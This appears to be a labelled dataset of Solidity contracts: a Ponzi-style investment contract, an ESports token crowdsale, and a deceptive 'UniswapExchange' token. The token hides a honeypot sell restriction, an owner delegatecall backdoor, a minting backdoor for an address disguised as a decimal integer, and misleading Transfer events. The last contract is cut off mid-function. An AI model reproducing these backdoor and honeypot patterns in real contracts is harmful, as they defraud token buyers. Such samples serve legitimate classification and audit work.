PercentCalc.percent private refPercentBonus = PercentCalc.percent(3);
function() public payable {
if (msg.value == 0) {
fetchDividends();
return;
}
require(msg.value >= minInvest, "value can't be < than 0.005");
if (investorsStorage[msg.sender].idx > 0) {
investorsStorage[msg.sender].value += msg.value;
if (!investorsStorage[msg.sender].invested10Eth && msg.value >= 10 ether) {
investorsStorage[msg.sender].invested10Eth = true;
}
} else {
address ref = msg.data.toAddr();
uint idx = investorsStorage[msg.sender].idx;
uint value = msg.value;
idx = users.length++;
if (ref.notZero() && investorsStorage[ref].idx > 0) {
setUserBonus(ref, msg.value);
value += refPercent.getValueByPercent(value);
}
emit newInvestor(msg.sender, now, msg.value);
investorsStorage[msg.sender] = User({
idx : idx,
value : value,
bonus : 0,
invested10Eth: msg.value >= 10 ether,
payTime : now
});
}
sendValueToOwner(msg.value);
sendValueToAdv(msg.value);
emit logsDataPayable(msg.value, now, msg.sender);
}
function setUserBonus(address addr, uint value) private {
uint bonus = refPercent.getValueByPercent(value);
if (investorsStorage[addr].idx > 0) {
if (investorsStorage[addr].invested10Eth) bonus = refPercentBonus.getValueByPercent(value);
investorsStorage[addr].bonus += bonus;
emit logPayBonus(bonus, now, addr, "investor got bonuses!");
} else {
sendValueToAdv(bonus);
}
}
function fetchDividends() private {
User memory inv = findInvestorByAddress(msg.sender);
require(inv.idx > 0, "payer is not investor");
uint payValueByTime = now.sub(inv.payTime).getDiffValue(12 hours);
require(payValueByTime > 0, "the payment was earlier than 12 hours");
uint dividendValue = (dividendPercent.getValueByPercent(inv.value) * payValueByTime) / 2;
if (inv.invested10Eth) dividendValue = (dividendPercentBonus.getValueByPercent(inv.value) * payValueByTime) / 2;
if (address(this).balance < dividendValue + inv.bonus) {
emit notEnoughETH(now, "not enough eth");
return;
}
if (inv.bonus > 0) {
sendDividendsWithBonus(msg.sender, dividendValue, inv.bonus);
} else {
sendDividends(msg.sender, dividendValue);
}
}
function setAdvertisingAddress(address addr) public onlyOwner {
advertisingAddress = addr;
}
function sendDividends(address addr, uint value) private {
updatePayTime(addr, now);
emit logPayDividends(value, now, addr, "dividends");
addr.transfer(value);
}
function sendDividendsWithBonus(address addr, uint value, uint bonus) private {
updatePayTime(addr, now);
emit logPayDividends(value + bonus, now, addr, "dividends with bonus");
addr.transfer(value + bonus);
investorsStorage[addr].bonus = 0;
}
function findInvestorByAddress(address addr) internal view returns (User) {
return User(
investorsStorage[addr].idx,
investorsStorage[addr].value,
investorsStorage[addr].bonus,
investorsStorage[addr].invested10Eth,
investorsStorage[addr].payTime
);
}
function sendValueToOwner(uint val) private {
owner.transfer(ownerPercent.getValueByPercent(val));
}
function sendValueToAdv(uint val) private {
advertisingAddress.transfer(advertisingPercent.getValueByPercent(val));
}
function updatePayTime(address addr, uint time) private returns (bool) {
if (investorsStorage[addr].idx == 0) return false;
investorsStorage[addr].payTime = time;
return true;
}
}
library Calc {
function getDiffValue(uint _a, uint _b) internal pure returns (uint) {
require(_b > 0);
uint c = _a / _b;
return c;
}
function sub(uint _a, uint _b) internal pure returns (uint) {
require(_b <= _a);
uint c = _a - _b;
return c;
}
}
library PercentCalc {
struct percent {
uint val;
}
function getValueByPercent(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a * p.val / 100;
}
}
library Zero {
function notZero(address addr) internal pure returns (bool) {
return !(addr == address(0));
}
}
library compileLibrary {
function toAddr(bytes source) internal pure returns (address addr) {
assembly {addr := mload(add(source, 0x14))}
return addr;
}
} | 0 | 784 |
contract ESportsConstants {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = uint8(TOKEN_DECIMALS);
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
uint constant RATE = 240;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ESportsFreezingStorage is Ownable {
uint64 public releaseTime;
ESportsToken token;
function ESportsFreezingStorage(ESportsToken _token, uint64 _releaseTime) {
require(_releaseTime > now);
releaseTime = _releaseTime;
token = _token;
}
function release(address _beneficiary) onlyOwner returns(uint) {
if (now < releaseTime) return 0;
uint amount = token.balanceOf(this);
if (amount == 0) return 0;
bool result = token.transfer(_beneficiary, amount);
if (!result) return 0;
return amount;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State {Active, Refunding, Closed}
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) {
require(_wallet != 0x0);
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor, uint weiRaised) onlyOwner {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract Crowdsale {
using SafeMath for uint;
MintableToken public token;
uint32 public startTime;
uint32 public endTime;
address public wallet;
uint public rate;
uint public weiRaised;
uint public soldTokens;
uint public hardCap;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount);
function Crowdsale(uint32 _startTime, uint32 _endTime, uint _rate, uint _hardCap, address _wallet, address _token) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
require(_hardCap > _rate);
token = MintableToken(_token);
startTime = _startTime;
endTime = _endTime;
rate = _rate;
hardCap = _hardCap;
wallet = _wallet;
}
function getRate() internal constant returns (uint) {
return rate;
}
function() payable {
buyTokens(msg.sender, msg.value);
}
function buyTokens(address beneficiary, uint amountWei) internal {
require(beneficiary != 0x0);
uint totalSupply = token.totalSupply();
uint actualRate = getRate();
require(validPurchase(amountWei, actualRate, totalSupply));
uint tokens = amountWei.mul(actualRate);
if (msg.value == 0) {
require(tokens.add(totalSupply) <= hardCap);
}
uint change = 0;
if (tokens.add(totalSupply) > hardCap) {
uint maxTokens = hardCap.sub(totalSupply);
uint realAmount = maxTokens.div(actualRate);
tokens = realAmount.mul(actualRate);
change = amountWei.sub(realAmount);
amountWei = realAmount;
}
postBuyTokens(beneficiary, tokens);
weiRaised = weiRaised.add(amountWei);
soldTokens = soldTokens.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, amountWei, tokens);
if (msg.value != 0) {
if (change != 0) {
msg.sender.transfer(change);
}
forwardFunds(amountWei);
}
}
function forwardFunds(uint amountWei) internal {
wallet.transfer(amountWei);
}
function postBuyTokens(address _beneficiary, uint _tokens) internal {
}
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = _amountWei != 0;
bool hardCapNotReached = _totalSupply <= hardCap.sub(_actualRate);
return withinPeriod && nonZeroPurchase && hardCapNotReached;
}
function hasEnded() public constant returns (bool) {
return now > endTime || token.totalSupply() > hardCap.sub(getRate());
}
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function FinalizableCrowdsale(uint32 _startTime, uint32 _endTime, uint _rate, uint _hardCap, address _wallet, address _token)
Crowdsale(_startTime, _endTime, _rate, _hardCap, _wallet, _token) {
}
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
isFinalized = true;
finalization();
Finalized();
}
function finalization() internal {
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint public goal;
RefundVault public vault;
function RefundableCrowdsale(uint32 _startTime, uint32 _endTime, uint _rate, uint _hardCap, address _wallet, address _token, uint _goal)
FinalizableCrowdsale(_startTime, _endTime, _rate, _hardCap, _wallet, _token) {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds(uint amountWei) internal {
if (goalReached()) {
wallet.transfer(amountWei);
}
else {
vault.deposit.value(amountWei)(msg.sender);
}
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender, weiRaised);
}
function finalization() internal {
super.finalization();
if (goalReached()) {
vault.close();
}
else {
vault.enableRefunds();
}
}
function goalReached() public constant returns (bool) {
return weiRaised >= goal;
}
}
contract ESportsMainCrowdsale is ESportsConstants, RefundableCrowdsale {
uint constant OVERALL_AMOUNT_TOKENS = 60000000 * TOKEN_DECIMAL_MULTIPLIER;
uint constant TEAM_BEN_TOKENS = 6000000 * TOKEN_DECIMAL_MULTIPLIER;
uint constant TEAM_PHIL_TOKENS = 6000000 * TOKEN_DECIMAL_MULTIPLIER;
uint constant COMPANY_COLD_STORAGE_TOKENS = 12000000 * TOKEN_DECIMAL_MULTIPLIER;
uint constant INVESTOR_TOKENS = 3000000 * TOKEN_DECIMAL_MULTIPLIER;
uint constant BONUS_TOKENS = 3000000 * TOKEN_DECIMAL_MULTIPLIER;
uint constant BUFFER_TOKENS = 6000000 * TOKEN_DECIMAL_MULTIPLIER;
uint constant PRE_SALE_TOKENS = 12000000 * TOKEN_DECIMAL_MULTIPLIER;
address constant TEAM_BEN_ADDRESS = 0x2E352Ed15C4321f4dd7EdFc19402666dE8713cd8;
address constant TEAM_PHIL_ADDRESS = 0x4466de3a8f4f0a0f5470b50fdc9f91fa04e00e34;
address constant INVESTOR_ADDRESS = 0x14f8d0c41097ca6fddb6aa4fd6a3332af3741847;
address constant BONUS_ADDRESS = 0x5baee4a9938d8f59edbe4dc109119983db4b7bd6;
address constant COMPANY_COLD_STORAGE_ADDRESS = 0x700d6ae53be946085bb91f96eb1cf9e420236762;
address constant PRE_SALE_ADDRESS = 0xcb2809926e615245b3af4ebce5af9fbe1a6a4321;
address btcBuyer = 0x1eee4c7d88aadec2ab82dd191491d1a9edf21e9a;
ESportsBonusProvider public bonusProvider;
bool private isInit = false;
function ESportsMainCrowdsale(
uint32 _startTime,
uint32 _endTime,
uint _softCapWei,
address _wallet,
address _token
) RefundableCrowdsale(
_startTime,
_endTime,
RATE,
OVERALL_AMOUNT_TOKENS,
_wallet,
_token,
_softCapWei
) {
}
function releaseBonus() returns(uint) {
return bonusProvider.releaseBonus(msg.sender, soldTokens);
}
function postBuyTokens(address _beneficiary, uint _tokens) internal {
uint bonuses = bonusProvider.getBonusAmount(_beneficiary, soldTokens, _tokens, startTime);
bonusProvider.addDelayedBonus(_beneficiary, soldTokens, _tokens);
if (bonuses > 0) {
bonusProvider.sendBonus(_beneficiary, bonuses);
}
}
function init() onlyOwner public returns(bool) {
require(!isInit);
ESportsToken ertToken = ESportsToken(token);
isInit = true;
ESportsBonusProvider bProvider = new ESportsBonusProvider(ertToken, COMPANY_COLD_STORAGE_ADDRESS);
bonusProvider = bProvider;
mintToFounders(ertToken);
require(token.mint(INVESTOR_ADDRESS, INVESTOR_TOKENS));
require(token.mint(COMPANY_COLD_STORAGE_ADDRESS, COMPANY_COLD_STORAGE_TOKENS));
require(token.mint(PRE_SALE_ADDRESS, PRE_SALE_TOKENS));
require(token.mint(BONUS_ADDRESS, BONUS_TOKENS));
require(token.mint(bonusProvider, BUFFER_TOKENS));
ertToken.addExcluded(INVESTOR_ADDRESS);
ertToken.addExcluded(BONUS_ADDRESS);
ertToken.addExcluded(COMPANY_COLD_STORAGE_ADDRESS);
ertToken.addExcluded(PRE_SALE_ADDRESS);
ertToken.addExcluded(address(bonusProvider));
return true;
}
function mintToFounders(ESportsToken ertToken) internal {
ertToken.mintTimelocked(TEAM_BEN_ADDRESS, TEAM_BEN_TOKENS.mul(20).div(100), startTime + 1 years);
ertToken.mintTimelocked(TEAM_BEN_ADDRESS, TEAM_BEN_TOKENS.mul(30).div(100), startTime + 3 years);
ertToken.mintTimelocked(TEAM_BEN_ADDRESS, TEAM_BEN_TOKENS.mul(30).div(100), startTime + 5 years);
require(token.mint(TEAM_BEN_ADDRESS, TEAM_BEN_TOKENS.mul(20).div(100)));
ertToken.mintTimelocked(TEAM_PHIL_ADDRESS, TEAM_PHIL_TOKENS.mul(20).div(100), startTime + 1 years);
ertToken.mintTimelocked(TEAM_PHIL_ADDRESS, TEAM_PHIL_TOKENS.mul(30).div(100), startTime + 3 years);
ertToken.mintTimelocked(TEAM_PHIL_ADDRESS, TEAM_PHIL_TOKENS.mul(30).div(100), startTime + 5 years);
require(token.mint(TEAM_PHIL_ADDRESS, TEAM_PHIL_TOKENS.mul(20).div(100)));
}
function buyForBitcoin(address _beneficiary, uint _amountWei) public returns(bool) {
require(msg.sender == btcBuyer);
buyTokens(_beneficiary, _amountWei);
return true;
}
function setBtcBuyer(address _newBtcBuyerAddress) onlyOwner returns(bool) {
require(_newBtcBuyerAddress != 0x0);
btcBuyer = _newBtcBuyerAddress;
return true;
}
function finalization() internal {
super.finalization();
token.finishMinting();
bonusProvider.releaseThisBonuses();
if (goalReached()) {
ESportsToken(token).allowMoveTokens();
}
token.transferOwnership(owner);
}
}
contract ESportsBonusProvider is ESportsConstants, Ownable {
using SafeMath for uint;
ESportsToken public token;
address public returnAddressBonuses;
mapping (address => uint256) investorBonuses;
uint constant FIRST_WEEK = 7 days;
uint constant BONUS_THRESHOLD_ETR = 20000 * RATE * TOKEN_DECIMAL_MULTIPLIER;
function ESportsBonusProvider(ESportsToken _token, address _returnAddressBonuses) {
token = _token;
returnAddressBonuses = _returnAddressBonuses;
}
function getBonusAmount(
address _buyer,
uint _totalSold,
uint _amountTokens,
uint32 _startTime
) onlyOwner public constant returns (uint) {
uint bonus = 0;
if (now < _startTime + FIRST_WEEK && now >= _startTime) {
bonus = bonus.add(_amountTokens.div(10));
}
return bonus;
}
function addDelayedBonus(
address _buyer,
uint _totalSold,
uint _amountTokens
) onlyOwner public returns (uint) {
uint bonus = 0;
if (_totalSold < BONUS_THRESHOLD_ETR) {
uint amountThresholdBonus = _amountTokens.div(10);
investorBonuses[_buyer] = investorBonuses[_buyer].add(amountThresholdBonus);
bonus = bonus.add(amountThresholdBonus);
}
return bonus;
}
function releaseBonus(address _buyer, uint _totalSold) onlyOwner public returns (uint) {
require(_totalSold >= BONUS_THRESHOLD_ETR);
require(investorBonuses[_buyer] > 0);
uint amountBonusTokens = investorBonuses[_buyer];
investorBonuses[_buyer] = 0;
require(token.transfer(_buyer, amountBonusTokens));
return amountBonusTokens;
}
function getDelayedBonusAmount(address _buyer) public constant returns(uint) {
return investorBonuses[_buyer];
}
function sendBonus(address _buyer, uint _amountBonusTokens) onlyOwner public {
require(token.transfer(_buyer, _amountBonusTokens));
}
function releaseThisBonuses() onlyOwner public {
uint remainBonusTokens = token.balanceOf(this);
require(token.transfer(returnAddressBonuses, remainBonusTokens));
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ESportsToken is ESportsConstants, MintableToken {
using SafeMath for uint;
event Burn(address indexed burner, uint value);
event MintTimelocked(address indexed beneficiary, uint amount);
bool public paused = true;
mapping(address => bool) excluded;
mapping (address => ESportsFreezingStorage[]) public frozenFunds;
function name() constant public returns (string _name) {
return "ESports Token";
}
function symbol() constant public returns (string _symbol) {
return "ERT";
}
function decimals() constant public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function allowMoveTokens() onlyOwner {
paused = false;
}
function addExcluded(address _toExclude) onlyOwner {
addExcludedInternal(_toExclude);
}
function addExcludedInternal(address _toExclude) private {
excluded[_toExclude] = true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
require(!paused || excluded[_from]);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint _value) returns (bool) {
require(!paused || excluded[msg.sender]);
return super.transfer(_to, _value);
}
function mintTimelocked(address _to, uint _amount, uint32 _releaseTime)
onlyOwner canMint returns (ESportsFreezingStorage) {
ESportsFreezingStorage timelock = new ESportsFreezingStorage(this, _releaseTime);
mint(timelock, _amount);
frozenFunds[_to].push(timelock);
addExcludedInternal(timelock);
MintTimelocked(_to, _amount);
return timelock;
}
function returnFrozenFreeFunds() public returns (uint) {
uint total = 0;
ESportsFreezingStorage[] storage frozenStorages = frozenFunds[msg.sender];
for (uint x = 0; x < frozenStorages.length; x++) {
uint amount = frozenStorages[x].release(msg.sender);
total = total.add(amount);
}
return total;
}
function burn(uint _value) public {
require(!paused || excluded[msg.sender]);
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
}
} | 1 | 4,057 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,409 |
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
